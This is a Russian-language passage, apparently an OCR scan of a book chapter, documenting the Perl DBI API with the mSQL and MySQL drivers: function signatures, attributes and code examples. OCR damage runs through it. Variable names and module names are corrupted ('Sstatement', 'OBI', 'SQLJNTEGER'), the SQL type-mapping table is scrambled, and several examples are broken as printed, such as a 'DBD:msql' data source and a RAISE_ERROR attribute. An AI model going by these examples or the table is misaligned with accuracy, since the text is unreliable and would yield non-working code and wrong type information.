    $result = $statenent_handle->bind_param($param_number, $bind_value, \%bind_type);

    DBI: : bind_param подставляет в команды действительные значения вместо меток-заполнителей '?' (см. OBI:: prepare). Первый аргумент - номер метки-заполнителя в команде, нумерация начинается с 1 (слева направо). Второй аргумент - подставляемое значение. Необязательный третий аргумент задает тип подставляемого значения. Это может быть скаляр или ссылка на хэш вида { TYPE => &DBI:: SQL_TYPE } , где 'SQL_TYPE' - тип параметра. На момент написания этой книги DBI поддерживал SQL-типы (недокументированные) SQL_CHAR, SQL_NUMERIC, SQL_DECIMAL, SQL_INTEGER, SQL_SMALLINT, SQL_FLOAT, SQL_REAL, SQL_DOUBLE и SQL_VARCHAR. Соответствие их фактическим типам, используемым DBD::mSQL и DBD::Mysql, не документировано. Тем не менее в таблице 21-1 приведен список соответствия на данный момент. Если подстановка невозможна, функция возвращает undef.


    Таблица 21-1. Соответствие типов SQL



    DBI



    MSQL



    MySQL



    SQL_CHAR



    CHAR TYPE



    FIELD TYPE CHAR







    IDENT TYPE



    FIELD TYPE DATE







    NULL TYPE



    FIELD TYPE DATETIME







    DATE TYPE



    FIELD TYPE NULL







    MONEY TYPE



    FIELD TYPE TIMESTAMP







    TIME TYPE



    FIELD TYPE TIME







    IDX TYPE











    SYSVAR TYPE











    ANY TYPE







    SQL_NUMERIC







    FIELD TYPE LONG FIELD TYPE LONGLONG FIELD_TYPE_SHORT



    SQL_DECIMAL







    FIELD_TYPE_DECIMAL



    SQLJNTEGER



    INT_TYPE



    FIELD_TYPE_INT24



    SQL SMAL-LINT



    UINT_TYPE



    FIELD_TYPE_INT24



    SQL_FLOAT







    FIELD_TYPE_FLOAT



    SQL_REAL



    REAL TYPE LAST_REAL_TYPE



    FIELD JTYPE_DOUBLE



    SQLJDOUBLE







    FIELD_TYPE_DOUBLE



    SQL_VARCHAR



    TEXT_TYPE



    FIELD_TYPE_TINY BLOB FIELD_TYPE_MEDIUM BLOB FIELD TYPE BLOB FIELD TYPE LONG BLOB FIELD TYPE VAR STRING FIELD TYPE STRING

    Пример

    use DBI;

    my $db = DBI->connect('DBD:msql:mydata','me','mypass');

    my Sstatement = $db->prepare(

    "SELECT name, date FROM myothertable WHERE name like ? OR name like ?");

    $statement->bind_param(1,'J%','SQL_CHAR');

    $statement->bind_param(2,'%oe%', { TYPE => &DBI::SQL_CHAR });

    # Теперь команда будет такой:

    # SELECT name, date FROM myothertable WHERE name like 'J%' or name like

    '%oe%'

    DBI::connect

    $db = DBI->connect($data_source, $username, $password);

    $db = DBI->connect($data_source, $username, $password, \%attributes);

    DBI:: connect требует по крайней мере три аргумента и необязательный четвертый. Через возвращаемый описатель выполняются все операции с сервером базы данных. Первый аргумент является источником данных. Список имеющихся источников можно получить с помощью DBI: :data_sources . Для mSQL и MySQL формат источника данных 'DBI:mSQL:$database:Shostname:Sport' и 'DBI:mysql:Sdatabase:Shostname:Sport' соответственно. Можно опустить :Sport при соединении через стандартный порт. Аналогично можно опустить ': Shostname: Sport' при соединении с сервером на локальном узле с помощью сонета Unix. Имя базы данных указывать обязательно.


    Второй и третий аргументы — имя пользователя и пароль для подключения к базе данных. Для mSQL оба аргумента должны иметь значение 'undef'. Если они заданы как 'jndef при работе с MySQL, то у пользователя, запустившего программу, должны быть права доступа к требуемым базам данных.

    Последний аргумент необязателен и является ссылкой на ассоциативный массив. Данный хэш позволяет определить некоторые атрибуты соединения. В настоящее время поддерживаются только атрибуты PrintError, RaiseError и AutoCommit. Для сброса им нужно придать значение 0, для установки - какое-либо истинное значение. По умол-чаник) PrintError и AutoCommit включены, a RaiseError - сброшен. Поскольку в данное время ни mSQL, ни MySQL не поддерживают транзакции, атрибут AutoCommit должен быть установлен (более подробно см. Атрибуты).

    При неудаче соединения возвращается неопределенное значение undef, и в $DBI;:errstr помещается ошибка.

    Пример

    use DBI;

    my $db1 = DBI->connect('DBI: mSQL:mydata',undef,undef);

    # Теперь $db1 представляет соединение с базой данных 'mydata'на локальном

    # сервере mSQL.

    my $db2 = DBI->connect( 'DBI:mysql:mydata:myser-ver.com','me','mypassword');

    # Теперь $db2 представляет соединение с базой данных 'mydata' сервера MySQL

    # 'myserver.com' через порт по умолчанию.

    # При соединении использовались имя пользователя 'те' и пароль 'mypassword'.

    my $db3 = DBI->connect('DBI:mSQL:mydata',undef,undef, {

    RaiseError => 1 });

    # Теперь $db3 - такое же соединение, как $db1, за исключением того, что

    # установлен атрибут 'RaiseError'.

    DBI::data_sources

    @data_sources = DBI->data_sources($dbd_driver);

    DBI: :data_sources принимает в качестве аргумента имя модуля DBD и возвращает все имеющиеся для этого драйверы базы данных в форма- " те, пригодном к использованию в качестве источника данных функцией DBI::connect . Программа заканчивает свое выполнение с ошибкой, если задано неверное имя драйвера DBD. В текущих версиях модулей Msql-Mysql драйвер для mSQL называется 'mSQL', а для MySQL -'mysql'.


    Пример

    use DBI;

    my §msql_data_sources = DBI->data_sources('mSQL');

    my @mysql_data_sources = DBI->data_sources('mysql');

    # Должны быть установлены DBD::mSQL и DBO::mysql, иначе

    # выполнение программы прекратится.

    print "mSQL databases:\n" . join("\n",@msql_data_sources) , "\n\n";

    print "MySQL databases:\n" . join("\n",@mysql_data_sources) . "\n\n";

    DBI::do

    $rows_affected = $db->do($statement);

    $rows_affected = $db->do($statement, \%unused);

    $rows_affected = $db->do($statement, \%unused, @bind_values);

    DBI: : do непосредственно выполняет SQL-команду, не являющуюся командой SELECT, и возвращает число измененных строк. Этот способ быстрее, чем пара DBI: :prepare/DBI: :execute , требующая два вызова функции. Первый аргумент - сама команда SQL. Второй аргумент не используется в DBD::mSQL и DBD::mysql, но для других модулей DBD может содержать ссылку на хэш атрибутов. Последний аргумент -массив значений для подстановки в команду вместо меток-заместителей '?'. Подстановка происходит слева направо. Дополнительно DBI: : do автоматически заключит подставляемые строковые значения в кавычки.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $rows_affected = $db->do("UPDATE mytable SET name='Joe' WHERE name='Bob"');

    print "$rows_affected Joe заменены на Bob's\n";

    my $rows_affected2 = $db->do("INSERT INTO mytable (name) VALUES (?)", {}, ("Sheldon's Cycle"));

    # После заключения в кавычки и подстановки

    # серверу базы данных посылается команда

    #INSERT INTO mytable (name) VALUES ('Sheldon's Cycle')

    DBI-disconnect

    $result = $db->disconnect;

    DBI: : disconnect отсоединяет описатель базы данных от сервера баз данных. Для mSQL и MySQL в этом обычно нет необходимости, поскольку эти базы данных не поддерживают транзакций, и неожиданное отсоединение не причинит вреда. Однако от баз данных, поддерживающих транзакции, нужно отсоединяться явным образом. Поэтому, чтобы получить переносимую программу, нужно всегда отсоединяться от базы данных перед выходом. При ошибке во время отсоединения возвращается ненулевое значение, и в $DBI: :errstr устанавливается ошибка.


    Пример

    use DBI;

    my $db1 = DBI->connect( 'DBI:mSQL:mydata',undef,undef);

    my $db2 = OBI->connect('DBI:mSQL:mydata2',undef,undef);

    $db1->disconnect;

    # Соединение 'mydata' разорвано. Соединение с 'mydata2'

    # продолжает действовать.

    DBI::dump_results

    $neat_rows = DBI::dump_results($statement_handle);

    $neat_rows = DBI::dump_results($statement_handle, Smaxlen);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep);

    $neat_rows = DBI::dump_results($statement_handle, $maxlen, $line_sep,$field_sep, $file_handle);

    DBI: : dump_results выводит содержание описателя команды в удобном и упорядоченном виде, применяя к каждой строке DBI: :neat_string . Функцию удобно использовать для быстрой проверки результатов запроса во время разработки программы. Единственный обязательный аргумент - описатель команды. Второй аргумент, если имеется, задает максимальный размер полей в таблице, по умолчанию равный 35. Третий аргумент задает строку, используемую для разграничения строк данных, по умолчанию- \n. Четвертый аргумент задает строку, используемую для разделения значений полей в строке, по умолчанию используется запятая. Последний аргумент задает ссылку на глобальный описатель файла, в который выводятся результаты. По умолчанию это STDOUT. Если невозможно прочесть описатель команды, возвращается значение undef.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my Squery = "SELECT name, date FROM myothertable";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    print DBI::dump_results($myothertable_output);

    # Вывести результаты в аккуратной таблице.

    open(MYOTHERTABLE, ">>myothertable");

    print DBI: :dump_results($iriyothertable_output,

    undef,undef,undef,\*MYOTHERTABLE);

    # Снова вывести результаты в файл 'myothertable,'.

    $DBI::err

    $error_code = $handle->err;


    $DBI:: err возвращает код последней по времени ошибки DBI. Код ошибки соответствует сообщению об ошибке, возвращаемому функцией $DBI: :errstr. Переменная $DBI: :err выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirrel');

    # Этот запрос имеет синтаксическую ошибку...

    my Soutput = $db->prepare('SLECT * from mydata');

    $output->execute;

    if (not $output) {

    print "Error $DBI:err: $DBI:errstr\n"; }

    $DBI::errstr

    $error = $handle->errstr;

    Эта функция возвращает сообщение о последней происшедшей ошибке DBI. Значение сохраняется до возникновения новой ошибки, когда оно будет заменено. Если во время данного сеанса ошибок не было, функция возвращает undef. Переменная $DBI: :errstr выполняет ту же задачу. Эта функция применима с описателями как баз данных, так и команд.

    Пример

    Use DBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'wcbuscr','super_secret_squirrel');

    my $error = $db->errstr;

    warn("Boj последняя ошибка DBI: $error");

    DBI::execute

    $rows_affected = $statement_handle->execute;

    $rows_affected = $statement_handle->execute(@bind_values);

    DBI: : execute выполняет SQL-команду, содержащуюся в описателе команды. Для запроса, не являющегося SELECT, функция возвращает число измененных строк. Функция возвращает -1, если число строк неизвестно. Для запроса типа SELECT при успехе возвращается истинное значение. Если заданы аргументы, они используются для подстановки имеющихся в команде меток-заместителей (см. DBI: : prepare ).

    Пример

    use DBI;

    my $db = DBI->connect('OBI:mSQL:mydata',undef,undef);

    my $statement_handle = $db->prepare("SELECT * FROM mytable");

    my $statement_handle2 = $db->prepare("SELECT name, date FROM myothertable WHERE name like ?");

    $statement_handle->execute;

    # Выполнена первая команда.К значениям можно

    # обращаться через описатель.


    $statement_handle->execute("J%");

    # Выполнена вторая команда следующего содержания:

    # SELECT name, date FROM myothertable WHERE name like 'J%'

    DBI::fetchall_arrayref

    $ref_of_array_of_arrays = $statement_handle->fetchall_arrayref;

    DBI: :fetchall_arrayref возвращает все оставшиеся данные в описателе команды в виде ссылки на массив. Каждая строка массива - ссылка на другой массив, в котором содержатся данные этой строки. Если в описателе команды нет данных, функция возвращает неопределенное значение undef. Если с этим описателем команды уже выполнялись функции DBI: :fetchrow_ *, то DBI: :fetchall_arrayref возвращает все данные, оставшиеся после последнего обращения к DBI: : fetch row *.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata' ,undef,undef);

    my $query = "SELECT name, date FROM myothertable";

    my Soutput = $db->prepare($query);

    $output->execute;

    my $data = $output->fetchall_arrayref;

    # Теперь $data является ссылкой на массив массивов. Каждый элемент

    # 'главного' массива сам является ссылкой на массив, содержащий строку данных.

    print "Четвертой строкой данных в таблице является: " . $data->[3][1]. "\n";

    # Элемент 3 'главного' массива является массивом, содержащим четвертую

    # строку данных, # Элемент 1 этого массива является датой.

    DBI::fetchrow_array

    @row_of_data = $statement_handle->fetchrow;

    DBI: : fetch row возвращает очередную строку данных из описателя команды, созданного DBI: :execute . Каждое последующее обращение к DBI: : fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Порядок элементов в результирующем массиве определяется исходным запросом. Если запрос имел вид SELECT * FROM . . . , то элементы следуют в том порядке, в котором они были определены в таблице.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";


    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my ($name, $date);

    # Это первая строка из $myothertable_output.

    ($name, $date) = $myothertable_output->fetchrow_array;

    # Это следующая строка...

    ($name, $date) = $myothertable_output->fetchrow_array;

    # И еще одна...

    my @name_and_date = $myothertable_output->fetchrow_array;

    # и т.д.....

    DBI::fetchrow_arrayref, DBI::fetch

    $аrrау_rеГегепсе = $statement_handle->fetchrow_arrayref;

    $array_reference = $statement_handle->fetch;

    DBI: : fetchrow_arrayref и ее псевдоним DBI: : fetch работают точно так же, как DBI: :fetchrow_array , но возвращают не фактический массив, а ссылку на него.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata', undef, undef);

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE -Bob%'";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my $name1 = $myothertable_output->fetch->[0]

    # Это поле 'name' из первой строки данных,

    my $date2 = $myothertable_output->fetch->[1]

    # Это поле 'date' из второй строки данных.

    my ($name3, $date3) = @{$myothertable_output->fetch};

    # Это целиком третья строка данных.

    $myothertable_output->fetch

    # возвращает ссылку на массив. Можно 'преобразовать' ее в действительный

    # массив, используя конструкцию @{}.

    DBI::fetchrow_hashref

    $hash_reference = $statement_handle->fetchrow_hashref;

    DBI: :fetchrow_hashref работает так же, как OBI: :fetchrow_arrayref , но возвращает ссылку на ассоциативный, а не на обычный массив. Ключами хэша являются имена полей, а значениями - значения в этой строке данных.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->prepare($query);

    $mytable_output->execute;

    my %row1 = $mytable_ouput->fetchrow_hashref;

    my @field_names = keys %row1;

    # @field_names содержит теперь имена всех полей в запросе.


    # Это делается только один раз. Во всех следующих строках будут те же поля,

    my @row1 = values %row1;

    DBI::finish

    $result = $statement_handle->finish;

    DBI:: finish освобождает все данные в описателе команды, чтобы можно было уничтожить описатель или снова подготовить его. Некоторым серверам баз данных это необходимо для освобождения соответствующих ресурсов. DBD::mSQL и DBD::mysql не нуждаются в этой функции, но для переносимости кода следует использовать ее по окончании работы с описателем команды. Функция возвращает неопределенное значение undef, если описатель не удается освободить.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->prepare($query);

    $mytable_output->execute;

    $mytable_output->finish;

    # Теперь можно переназначить $mytable_output или подготовить для него

    # другую команду SQL.

    DBI::func

    $handlc->func(@func_argumcnts, $func_name);

    @dbs = $db->func("$hostname", '_ListDBs');

    @dbs = $db->func("$hostname:Sport", '_ListDBs');

    @tables = $db->func('_ListTables');

    $result = $drh->func( $database, '_CreateDB' );

    Sresult = $drh->func( Sdatabase, '_DropDB' );

    DBI::func вызывает специализированные непереносимые функции, включенные в различные драйверы DBD. Она используется с описателем базы данных или описателем команды, в зависимости от назначения специализированной функции. По возможности следует использовать равносильную переносимую функцию. При использовании специализированной функции сначала передаются ее аргументы как скаляр, а затем - имя функции. DBD::mSQL и DBD::mysql реализуют следующие функции:

    _ListDBs

    Функция _ListDBs принимает имя узла и необязательный номер порта и возвращает список имеющихся у сервера баз данных. Лучше использовать переносимую функцию DBJ::data_sources .

    _ListTables

    Функция _ListTables возвращает список таблиц, имеющихся в текущей базе данных.


    _CreateDB

    Функция _CreateDB принимает в качестве аргумента имя базы данных и пытается создать эту базу данных на сервере. Для работы с этой функцией необходимо иметь право создания баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

    _DropDB

    Функция _DropDB принимает в качестве аргумента имя базы данных и пытается удалить с сервера эту базу данных. Данная функция не выводит пользователю сообщений и при успешном выполнении удаляет базу данных навсегда. Для работы с этой функцией необходимо иметь право удаления баз данных. Функция возвращает -1 в случае неудачи и 0 в случае успеха.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my @tables =.$db->func('„List-Tables');

    # @tables содержит теперь список таблиц в 'mydata'.

    DBI::neat

    $neat_string = DBI: :neat($s'tring);

    $neat_string = DBI::neat($string, $maxlen);

    DBI: : neat Принимает в качестве аргументов строку и необязательную длину. Затем строка форматируется для аккуратного вывода. Вся строка заключается в одиночные кавычки. Непечатаемые символы заменяются точками. Если задан аргумент длины, все символы после максимальной длины удаляются, а строка заканчивается тремя точками (...). Если длина не указана, по умолчанию используется значение 400.

    Пример

    use DBI;

    my $string = "Это очень, очень длинная строка, в которой много чего написано. ";

    my$neat_string = OBI: :neat($string,14);

    # Теперь $neat_string такая: 'Это очень, оче...

    DBI::neat_list

    $neat_string = DBI::neat_list(\@listref, $maxlen);

    $neat_string = DBI::neat_list(\@listref, $maxlen, $field_seperator);

    DBI: :neat_list принимает три аргумента и возвращает аккуратно отформатированную строку, пригодную для вывода. Первый аргумент содержит ссылку на список выводимых значений. Второй аргумент -максимальная длина каждого поля. Последний аргумент - строка, используемая для разделения полей. Для каждого элемента списка вызывается OBI: :neat с использованием заданной максимальной длины. В результирующих строках для разделения полей используется последний аргумент. Если последний аргумент не задан, в качестве разделителя применяется запятая.


    Пример

    use DBI;

    my @list = (' Bob', 'Joe', 'Frank');

    my $neat_string = DBI::neat_list(\@list, 3);

    # Теперь $neat_string такая: 'Bob', 'Joe', 'Fra...

    DBI::prepare

    $statement_handle = $db->prepare($statement);

    $statement_handle = $db->prepare($statement, \%unused);

    DBI: :prepare принимает в качестве аргумента SQL-команду, которую некоторые модули баз данных переводят во внутреннюю компилированную форму, исполняемую быстрее при вызове DBI: : execute . Эти модули DBD (не DBD::mSQL или DBD::mysql) принимают также ссылку на хэш необязательных атрибутов. Серверы mSQL и MySQL в настоящее время не реализуют концепцию подготовки команд, поэтому DBI: : prepare просто запоминает команду. По желанию вместо значений данных в команду можно вставить любое количество символов '?'. Эти символы известны как метки-заместители (placeholders). Функция DBI: : bind_param осуществляет подстановку действительных значений вместо меток-заместителей. Если по какой-либо причине команду нельзя подготовить, функция возвращает undef.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mysql:mydata','me','mypassword');

    my $statement_handle = $db->prepare('SELECT * FROM mytable');

    # Теперь эта команда готова к выполнению.

    My $statement_handle = $db->prepare('SELECT name, date FROM myothertable WHERE name like ?');

    # Эта команда будет готовя к выполнению после подстановки # с использованием функции DBI::bind_param.

    DBI::quote

    $quoted_string = $db->quote($string);

    DBI::quote принимает строку для использования в качестве запроса SQL и возвращает ее копию с правильно расставленными для ввода в запрос кавычками, в том числе расставляя корректные кавычки по концам строки.

    Пример

    use DBI;

    my $db1 = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $db2 = DBI->connect('DBI:mysql:myotherdata','me','mypassword');

    my $string = "Sheldon's Cycle";

    my $qs1 = $db1->quote($string);

    # $qs1: 'Sheldon\'s Cycle' (включая наружные кавычки)

    my $qs2 = $db2->quote($string);


    # $qs2 : 'Sheldon's Cycle' (включая наружные кавычки)

    # Теперь обе строки годятся для использования в командах для своих

    # соответствующих серверов баз данных.

    DBI::rows

    $number_of_rows = $statement_handle->rows;

    Del: : rows возвращает число строк данных, содержащихся в описателе команды. Для DBD::mSQL и DBD::mysql эта функция дает точное число для всех команд, включая SELECT. Для многих других драйверов, которые не хранят в памяти сразу все результаты, эта функция надежно работает только для команд, не являющихся SELECT. Это следует учитывать при написании переносимых программ. Функция возвращает —1, если по какой-либо причине число строк неизвестно. Переменная $DBI: : rows выполняет ту же задачу.

    Пример

    use DBI;

    my $db = DBI->connect('DBI:mSQL:mydata',undef,undef);

    my $query = "SELECT name, date FROM myothertable WHERE name='Bob'";

    my $myothertable_output = $db->prepare($query);

    $myothertable_output->execute;

    my $rows = $myotnertable_output->rows;

    print "В таблице 'myothertable' есть $rows строк 'Воb'\n";

    DBI::state

    $sql_error = $handle->state;

    DBI: : state возвращает код ошибки SQL SQLSTATE последней по времени ошибки DBI. В данное время DBD::mSQL и DBD^mysql сообщают 'S1000' для всех ошибок. Эта функция доступна для описателей баз данных и команд. Переменная $ОВ1: : state выполняет ту же задачу.

    Пример

    Use OBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirгеl');

    my $sql_error = $db->state;

    warn("BoT последняя по времени ошибка DBI SQL: $sql_error");

    DBI::trace

    DBI->trace($trace_level)

    DBI->trace($trace_level, $trace_file)

    $handle->trace($trace_level);

    $handle->trace($trace_level, $trace_file);

    DBI:: trace используется в основном для отладки. Если уровень трассировки установлен равным 2, выводится полная отладочная информация. Установка уровня 0 отключает трассировку. DBI->trace осуществляет трассировку для всех описателей, a $handle->trace - только для данного описателя — базы данных или команды. При наличии в DBI- >t race или $handle->trace второго аргумента отладочная информация выводится в указанный файл. Также трассировку можно включить, установив значение переменной окружения DBI_TRACE. Если переменная окружения установлена равной числу (в настоящее время 0 или 2), включается трассировка всех описателей на этом уровне. При другом значении переменной уровень трассировки устанавливается равным 2, а само значение используется в качестве имени файла для вывода отладочной информации.


    Пример

    use DBI;

    my $db1 = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirrel');

    my $db2 = DBI->connect('DBI:mSQL:myotnerdata',undef,undef);

    DBI >trace(2);

    # Включена трассировка для всех описателей на уровне 2.

    $db2->trace(0);

    # Отключена трассировка для $db2, но продолжает действовать для $db1

    $db1->trace(2,'DBI.trace');

    # Теперь включена трассировка для всех описателей на уровне 2, выдача

    # посылается в файл 'DBI.trace'.

    DBI::commit, DBI::rollback, DBI::ping

    $result = $db->commit;

    $result = $db->rollback;

    Sresult = $db->ping;

    DBI: :commit и DBI: : rollback полезны только при работе с серверами, поддерживающими транзакции. При работе с DBD::mSQL и DBD::mysql они не оказывают никакого эффекта. DBD: :ping пытается проверить, запущен ли сервер базы данных. В DBD::mSQL и DBD::mysql она не реализована.

    Атрибуты

    $db->{AutoCommit}

    $handle->{ChopBlanks}

    $handle->{CompatMode}

    $handle->{InactiveDestroy}

    $handle->{LongReadLen}

    $handle->{LongTruncOk}

    $handle->{PrintError}

    $handle->{RaiseError}

    $handle->{Warn}

    $statement_handle->{CursorName}

    $statement_handle->{insertid} (только MySQL)

    $statement_handle->{is_blob} (только MySQL)

    $statement_handle->{is_key} (только MySQL)

    $statement_handle->{is_not_null}

    $statement_handle->{is_num}

    $statement__handle->{is_pri_key} (только MySQL и mSQL 1.x)

    $statement_handle->{length}

    $statement_handle->{max_length} (только MySQL)

    $statement_handle->{NAME}

    $statement_handle->
    $statement_handle->{NUM_OF_FIELDS}

    $statement_handle->{NUM_OF_PARAMS}

    $statement_handle->{table}

    $statement_handle->{type}

    В DBI.pm API определено несколько атрибутов, которые можно читать и устанавливать в любой момент. Присвоение значения атрибуту может определенным образом изменить поведение текущего соединения. Присвоение любого отличного от нуля значения атрибуту устанавливает его. Присвоение значения 0 атрибуту сбрасывает его. Некоторые значения определены только для конкретных баз данных и непереносимы. Ниже следуют атрибуты, применимые как к описателям баз данных, так и к командам.


    $db->{AutoCommit}

    Этот атрибут оказывает влияние на поведение серверов баз данных, поддерживающих транзакции. Для mSQL и MySQL он всегда должен быть установлен (значение по умолчанию). Попытка изменить его прерывает выполнение программы.

    $handle->{ChopBlanks}

    При установке этого атрибута отсекаются все ведущие и замыкающие пробелы в данных, возвращаемых запросом (например, при вызове DBI: : fetch row ). Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию - "сброшен".

    $handle->{InactiveDestroy}

    Назначение этого атрибута - сохранить процесс при ветвлении (fork), чтобы дочерний процесс мог пользоваться родительским описателем. Его следует установить в родительском или дочернем процессе, но не в обоих. Значение по умолчанию - "сброшен".

    $handle-> {PrintError}

    При установке этого атрибута выводятся все предупредительные сообщения. При сброшенном атрибуте доступ к ошибкам осуществляется только через $DBI: :errstr. Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию -"установлен".

    $handle->{RaiseError}

    При установке этого атрибута все ошибки возбуждают в программе исключительные ситуации, прерывая ее выполнение, если не определен обработчик '__DIE__'. Все описатели, производные от этого, наследуют значение этого атрибута. Значение по умолчанию -"сброшен".

    $handle->{Warn}

    При установке этого атрибута выводятся предупредительные сообщения о неудачных приемах программирования (особенно пережитках Perl 4). Сброс этого атрибута отключает предупреждения DBI, что допустимо только при полной уверенности в своем мастерстве. Все производные от данного описатели (например, описатель команды, происходящий от описателя базы данных) наследуют значение этого атрибута. Значение по умолчанию — "установлен".

    $statement_handle->{insertid}

    Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает из таблицы текущее значение поля auto_increment (если таковое имеется). Если поле auto_increment не существует, атрибут возвращает undef.


    $statement_handle->{is_blob}

    Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно тип BLOB. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_blob} возвращает undef.

    $statement_handle->{is_key}

    Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как KEY. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_key} возвращает undef.

    $statement_handle->{is_not_null}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как 'NOT NULL' . Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef. Того же результата можно достичь в переносимом виде, используя $statement_handle->{NULLABLE} .

    $statement_handle->{is_num}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно числовой тип. Для описателя команды, созданного не выражением SELECT, $statement_handle->{is_num} возвращает undef.

    $statement_handle->{is_pri_key}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. При использовании с DBD::mSQL он оказывает влияние только для серверов mSQLl.x, поскольку mSQL2.x не использует первичные ключи. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, является ли оно первичным ключом.

    Для описателя команды, созданного не выражением SELECT, данный атрибут возвращает undef.


    $statement_handle->{length}

    Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Этот атрибут возвращает ссылку на список максимально допустимых размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{length} возвращает undef.

    $statement_handle->{max_length}

    Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на список фактических максимальных размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef.

    $statement_handle->{NAME}

    Атрибут возвращает ссылку на список имен полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NAME} возвращает undef.

    $statement_handle->{NULLABLE}

    Этот атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, может ли оно иметь значение NULL. Поле, определенное как 'NOT NULL', даст в списке значение 0. Остальные поля дадут значение 1. Для описателя команды, созданного не выражением SELECT, атрибут возвращает undef.

    $statement_handle->{NUM_OF_FIELDS}

    Атрибут возвращает число колонок данных, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NUM_OF_FIELDS} возвращает 0.

    $statement_handle->{NUM_OF_PARAMS}

    Этот атрибут возвращает число меток-заместителей в описателе команды. Метки-заместители обозначаются в команде символом '?'. Для подстановки вместо меток-заместителей надлежащих значений используется функция DBI: : bind_values .

    $statement_handle->{table}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на список имен таблиц, к которым осуществлялся доступ в запросе. Полезно использовать для SELECT с соединением нескольких таблиц.


    $statement_handle->{type}

    Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на список типов полей, содержащихся в описателе команды. Для описателя команды, созданного не выражением SELECT, $statement_handle->{max_length} возвращает undef. Значениями списка являются целые числа, соответствующие перечислению в заголовочном файле С mysql_com.h из дистрибутива MySQL. Сейчас способа доступа к именам этих типов из DBI не существует. Но доступ к типам возможен через функцию &Mysql: : FIELD_TYPE_ * в Mysql.pm. В DBD::mysql имеется также недокументированный атрибут $statement_handle->{format_type_name} , идентичный $statement_handle- >{type} , за исключением того, что вместо целых чисел возвращает SQL-названия типов. Следует подчеркнуть, что это недокументированный атрибут, и автор DBD::niysql высказал свое намерение убрать его, как только в DBI будет реализована такая же функция.

    $statement_handle->{CursorName}

    $handle->{l_ongReadLen}

    $handle->{l_ongTruncOk}

    $handle->{CompatMode}

    Все эти атрибуты не поддерживаются в DBD::mSQL и DBD::mysql. Присвоение им значений ничего не даст, а чтение возвратит 0 или undef. Исключение составляет атрибут $statement_handle->{CursorName} . В настоящее время любое обращение к нему "убьет" программу.

    Пример

    use DBI;

    my $db = DBI->connect('mysql:mydata','me','mypassword');

    $db->{RAISE_ERROR} = 1;

    # Теперь любая ошибка DBI/DBD убьет программу.

    my $statement_handle = $db->prepare('SELECT * FROM mytable');

    $statement_handle->execute;

    my @fields = @{$statement_handle->{NAME}};

    # @fields содержит теперь список с именами всех полей в 'mytable'.



    Msql.pm API

    use Msql

    use Msql;

    Это объявление должно быть в любой программе Perl, использующей модуль Msql.pm.

    Msql::connect

    $db = Msql->connect;

    $db = Msql->connect($host);

    $db = Msql->connect($host, Sdatabase);

